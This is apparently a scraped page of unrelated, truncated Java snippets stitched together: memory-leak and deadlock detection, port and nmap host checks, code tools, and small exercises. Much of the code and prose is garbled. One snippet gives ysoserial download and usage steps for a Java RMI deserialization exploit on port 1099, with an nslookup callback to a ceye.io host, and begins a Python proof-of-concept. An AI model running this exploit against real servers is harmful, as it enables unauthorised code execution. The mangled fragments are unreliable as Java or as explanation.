java collision detection

ancient people put forward "hundred money to buy hundred chickens", namely: Rooster 5 yuan A, hen 3 yuan A, chicken 1 Yuan Three only, ask: finally can buy the rooster How much are the hens and chickens, respectively? 10, write Java applications, in the main method in the definition of the string "The first snow came, how beautiful it was!", the count of the number of letters T or T appear. (Hint: implemented using loops and common methods of the St

tool is tightly integrated into jrockit JVM, with very low overhead and easy access to virtual machine heap. Advantages of professional tools Once you know that a memory leak occurs, you need more professional tools to find out why the leak occurs. The JVM won't tell you. These professional tools obtain information about the memory system from the JVM in two ways: jvmti and Byte Code Instrumentation ). Java Virtual Machine Tools interface (jvmti) and

-mail. This obviously makes it easier to view memory leaks. 3. Memory Leak Detection Tool There are other tools that specialize in memory leak detection. The JRockit Memory leak detector can be used to view memory leaks and to further identify the source of the leak. This powerful tool is tightly integrated into the JRockit JVM, with very little overhead and easy access to the heap of virtual machines. Adva

Java multi-thread detection of available IP addresses I encountered a problem when I was doing system performance optimization recently. I will share it with you after solving the problem. When we establish a connection through socket, if our computer cannot connect to the specified site, this will cause the system to be stuck in the socket connect method, We all know that the socket connection requires thr

In Java, by calling Runtime , this class can execute other executable programs, return a process after execution, take advantage of the class of process we can get the echo of program execution, so call in Java the principle of the host detection of nmap is very clear. By passing the path to the function Nmap and the commands we need to execute /*** call Nmap to

Atitit. Thread deadlock run-fly detection with auto-unlock with manual unlock java C #. NET PHP JavaScript.1. Phenomenon:: The main program stuck unresponsive, multi-line tasks do not go down 12. Reason:: Use jv jprofile View Thread, the original two threads deadlock. 13. Java Disadvantage, default cannot automatically unlock deadlock 14. Auto Detect and Unlock::

Today again want to start Java Code Static Detection Tool utilization problem, mainly try to use PMD again, found a lot of code coding problems and good code recommendations, and learned a lot of their own prior to the Java convenient basic knowledge, feel very good, the relevant understanding of the good rules of the recollection summary, In the future coding pr

there is no sensitive words (I am also afraid of being shielded XD), the test when casually add a few sensitive words can be detected. This enables a simple and fast detection of sensitive words, of course, if there is a need for more sophisticated detection logic (such as "guitar mother is really beautiful"), or to use the word breaker tool to split the words. Writing for the first time with markdown, hah

);//System.out.println (s); if (S.indexof ("Baidu") > 0) {//valid IPSYSTEM.OUT.PRINTLN (IP + ":" +port + "is OK");}} public static String convertstreamtostring (InputStream was) {if (is = = null) return ""; BufferedReader reader = new BufferedReader (new InputStreamReader (IS)); StringBuilder sb = new StringBuilder (); String line = null;try {when (line = Reader.readline ())! = null) {Sb.append (line+ "/n");}} catch (IOException e) {e.printstacktrace ();} finally {try {is.close ();} catch (IOExc

Recently in the operation and maintenance management platform to determine the timing of the cluster Server port open state to judge the process status of the scheduled task. By the way, the next Java how to detect the server one or more ports, and how to add to the scheduled task.One, in Java with the Socket detection Server one port open state. (Not very famili

Eclemma to detect the coverage of code execution:i) Select: Window–>show view–>other–>java–>coverage display Eclemma viewII) detect the invocation of the code as in the above steps, for example, I have detected the code invocation of the class "Testexternalizable" below, and then in the Coverage view you can see the following effect:650) this.width=650; "src=" Http://s4.51cto.com/wyfs02/M01/82/D4/wKiom1diEUuRvv8AAADmeM6PpFY265.png "title=" 2016052617

This time is an enhanced version of whether the last character detection is all digital.You are welcome to point out the shortcomings of friends or the great God. Packagecom.hw.h817;ImportJava.util.Scanner; Public classCheck {public static void main (string[] args){Scanner s=NewScanner (system.in); //define the pre and STR outside, if the definition in the loop goes wrongString[] both =NewString[6]; String Pre; int[] str =New int[6]; intCount =

example, I'm looking at the cyclomatic complexity of a single method. The real good thing is that you can double-click the method in the Metrics list, which opens the source code for this method in the Eclipse editor. This makes the fix super simple (if needed)!Figure 14. View the cyclomatic complexity of a method As I mentioned before, the Eclipse Metrics plugin also provides a number of powerful metrics to help you improve your code as you develop your software-visible, it's a plug

Today I stumbled upon a Java memory Detection tool: Jstat A search on the Internet, the parameters are as follows Used to determine if there is a memory problem with the JVM. How to determine if the JVM garbage collection is normal. The general top directive basically doesn't meet this requirement because it mainly monitors the overall system resources and it is difficult to locate

1, first download the commonly used tools ysoserialAvailable here: Https://jitpack.io/com/github/frohoff/ysoserial/master-v0.0.5-gb617b7b-16/ysoserial-master-v0.0.5-gb617b7b-16.jar2. How to use:1 Java-cp1099"nslookup *******.********.ceye.io"3, written as POC as follows1 #!/usr/bin/python2 #-*-coding:utf-8-*-3 4 ImportOS5 ImportSYS6 7 defCheck (host,port=1099,infile=None):8 ifinfile = =None:9cmd ='JAVA-

This article belongs to the Concurrent programming network multithread study Comb series. The original text is as follows: Deadlock A deadlock is one in which two or more threads block a lock that waits for another thread in a deadlock state to hold. Deadlocks usually occur when multiple threads are simultaneously requesting the same set of locks in a different order. For example, if thread 1 locks A, then tries to lock B, and thread 2 already has a lock on B, and then tries to lock a, then th

" >//Timeout detection} catch (IOException e) {new Alertdialog.builder (Mainactivity. This). Settitle ( "hint"). Setpositivebutton ( "good", null". Setmessage ( "The server is down, please contact the administrator and click" Send "again after the server is turned on to submit the data"). Show (); Client.disconnect (); E.printstacktrace (); } PostScript:Originally just a simple record of their own ideas, writing is very humble, did not think slowly th

Encapsulate a detection port as a taskpublic class Checkportstask extends supersupervisory{private static omcomponentinstanceprocess omcomponentinstanceprocess;Private listpublic boolean check () {Omcomponentinstanceprocess = Omcomponentinstanceprocess.getinstance ();List=omcomponentinstanceprocess.getcomponentinstanceprocesslist ();for (int i=0;iSystem.out.println (i);String[] ports={""};try{Ports=list.get (i). Get ("ports"). ToString (). Trim (). Sp

Public class Chineseutils {public static void main (string[] args) {String str="China (1). jpg"; try {String str2= New String (Str.getbytes ("iso-8859-1"),"iso-8859-1"); System.out.println (STR2); System.out.println (Ismessycode (str2)); System.out.println (Tochinese (str2)); } catch (Unsupportedencodingexception e) {e.printstacktrace (); }} private static Boolean Ischinese (Charc) {Character.unicodeblock UB=Character.UnicodeBlock.of (c); if(UB = =Character.Un

Make an empty stack, and read the characters to the end. If a closed symbol is read, the empty stack is wrong, and if it does not match, the stack tail character pops up. Otherwise the read-in is an open character and is pressed into the stack. Finally, if the stack is empty, returns true.Please refer to the Mystack class for details.1 Public classKuohaojiancha {2 Private Char[] item = {' (', ') ', ' [', '] ', ' {', '} '};3 PrivateMystack stack =NewMystack ();4 Private Char[] str;5